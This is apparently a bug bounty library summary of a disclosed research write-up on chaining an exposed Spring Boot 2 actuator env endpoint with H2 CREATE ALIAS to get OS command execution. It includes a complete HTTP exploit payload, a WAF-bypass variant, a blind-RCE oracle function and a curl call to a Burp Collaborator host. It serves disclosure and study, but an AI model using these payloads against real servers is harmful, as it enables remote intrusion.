# Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2

Exposed Spring Boot 2 /actuator/env lets attacker set HikariCP connection-test-query to an H2 CREATE ALIAS payload, achieving OS command execution.

- Payout: Research
- Severity: critical
- Program: Spring Boot
- Write-up by: Eugene Lim
- Disclosed: 2020-01-12
- Write-up quality: 7/10
- Original: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/
- Library page: https://bugbountylibrary.com/r/blog%3Aspaceraccoon-dev-remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:java technique:blind technique:chained vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Spring Boot Actuator /actuator/env endpoint with HikariCP and H2 database
**Root cause:** Actuator env endpoint is exposed and writable, allowing modification of spring.datasource.hikari.connection-test-query, which is executed as SQL on new connections; H2's CREATE ALIAS compiles arbitrary Java, enabling Runtime.exec.
**Steps:**
1. Confirm /actuator/env is exposed and writable via POST.
2. POST to /actuator/env with `{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl http://x.burpcollaborator.net');"}`.
3. Trigger a new DB connection via POST /actuator/restart or by exhausting the pool with multiple requests.
4. Observe command execution via Burp Collaborator pingback.
**How found:** Built on Stepankin's Spring Boot 1.x actuator deserialization research; observed Spring Boot 2.x defaults to HikariCP, whose connectionTestQuery is settable via /actuator/env and executed as SQL, then chained to H2 CREATE ALIAS for Java code execution.
**Exploitation:** Attacker sets connection-test-query to an H2 CREATE ALIAS defining a Java shellexec function that runs Runtime.exec, then CALLs it with the desired OS command. Triggering a new pooled connection executes the query, running the command. For blind contexts, the function returns command output so the SQL succeeds only when output exists, giving a boolean oracle.
**Escalation:** Blind RCE via boolean oracle: return command output so query succeeds; throw exception when no output, letting attacker infer results from app behavior. WAF bypass via CONCAT/HEXTORAW string splitting.
**Insight:** Spring Boot 2's default HikariCP exposes connection-test-query as a writable env property that runs as SQL on every new connection; pair with H2's CREATE ALIAS to compile Java. Use output-returning functions to convert SQL success/failure into a blind RCE oracle.

## Proof of concept (copied exactly from the original report)

**POST /actuator/env payload with H2 CREATE ALIAS RCE**

```
POST /actuator/env HTTP/1.1
Host: target.app
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl http://x.burpcollaborator.net');"}
```

**H2 CREATE ALIAS with CONCAT/HEXTORAW WAF bypass**

```
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');
```

**Blind RCE Java shellexec function**

```
String shellexec(String cmd) throws java.io.IOException {
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
 if (s.hasNext()) {
 return s.next(); // OS command returns output; return output and SQL query succeeds
 }
 throw new IllegalArgumentException(); // OS command fails to return output; throw exception and SQL query fails
}
```

